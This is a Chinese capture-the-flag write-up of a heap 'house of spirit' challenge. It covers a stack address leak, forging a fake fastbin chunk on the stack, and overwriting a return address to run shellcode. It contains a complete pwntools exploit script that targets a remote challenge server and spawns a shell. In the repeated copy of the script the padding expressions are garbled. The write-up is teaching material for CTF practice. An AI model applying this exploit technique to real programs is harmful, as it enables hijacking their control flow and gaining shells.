实现目的
实现条件
实现方法
实现实例
题目平台
题目名称
分析步骤
防护全闭
输入名字时没有溢出,但是存在泄露
根据栈帧结构,被泄露的地方应该是rbp
经过gdb调试,确认是rbp,我们可以通过被泄露的rbp推算其他栈上的地址了
继续分析,在获取id时仅能输入三位,并且只能输入数字
ida伪c代码中有一部分并没有显示完全
尽管看上去get_id的返回值没有被保存
但事实上……
从汇编代码可以看出,get_id的值被保存在了name的上面
进入get_money
首先malloc了一个0x40的chunk,向其中输入最多0x40个字 节,然后将chunk位置保存在全局变量ptr中
在向chunk中读入内容时存在溢出
可以修改被保存在ptr上的chunk位置
在用户选单中,选择out会把ptr上保存的chunk立即free掉,并将ptr置零,选择in会检测ptr是否为0,如果为0则malloc一个大小在0~0x80内的chunk
通过对伪代码的分析,可以发现程序的结构是函数一个个的调用,这种结构很容易造成返回地址的低地址和高地址可控。同时,由于第一次申请chunk时存在的溢出,可以控制一次free的参数,满足house of spirit的条件
在gdb调试的过程中可以发现,0x7fffffffdf78保存了我们输入的id,而0x7fffffffdf10保存了我们输入第一个堆块的内容,0x7fffffffdf10往下0x40个字节都是我们的可控位置,在二者之间保存了get_money的返回地址
此时完整的攻击思路出来了
按照思路编写writeup
泄露栈地址,写入shellcode
pay=asm(shellcraft.amd64.linux.sh(),arch="amd64")
p.sendafter("who are u?",pay)
p.recvuntil(pay)
stack_add=u64(p.recvuntil(",")[:-1].ljust(8,"\x00"))
print "stack add="+hex(stack_add)
fake_chunk=stack_add-0xb0
name_add=stack_add-0x50
伪造fake chunk以及其后的chunk size
p.sendlineafter("give me your id ~~?","97")
pay="\x00"*8+p64(0x61)+"\x00"*0x28+p64(fake_chunk)
p.sendafter("give me money~",pay);
free然后malloc回来
p.sendlineafter("your choice :","2")
p.sendlineafter("your choice :","1")
p.sendlineafter("how long?","80")
pay="\x00"*0x38+p64(name_add)
p.sendlineafter("give me more money :",pay);
getshell
p.sendlineafter("your choice :","3")
完整wp
from pwn import*
from LibcSearcher import*
context(arch='amd64',os='linux',log_level='debug')
#p=process("./1")
p=remote('node3.buuoj.cn','29646')
elf=ELF("./1")
pay=asm(shellcraft.amd64.linux.sh(),arch="amd64")
p.sendafter("who are u?",pay)
p.recvuntil(pay)
stack_add=u64(p.recvuntil(",")[:-1].ljust(8,"\x00"))
print "stack add="+hex(stack_add)
fake_chunk=stack_add-0xb0
name_add=stack_add-0x50
p.sendlineafter("give me your id ~~?","97")
pay="\x00"8+p64(0x61)+"\x00"0x28+p64(fake_chunk)
p.sendafter("give me money~",pay);
p.sendlineafter("your choice :","2")
p.sendlineafter("your choice :","1")
p.sendlineafter("how long?","80")
pay="\x00"*0x38+p64(name_add)
p.sendlineafter("give me more money :",pay);
p.sendlineafter("your choice :","3")
p.interactive()
运行效果
总结:house of spirit的原理是绕过free到fastbin上的检查,使得一块本来我们不具有写能力的内存被malloc返回。这种漏洞点容易出现在一个函数调用另一个函数,并且两个函数在栈上都有可控区间的情况下,在这种情况下,我们可以通过house of spirit获得修改返回地址的能力,从而劫持程序流。
手机扫一扫
移动阅读更方便
你可能感兴趣的文章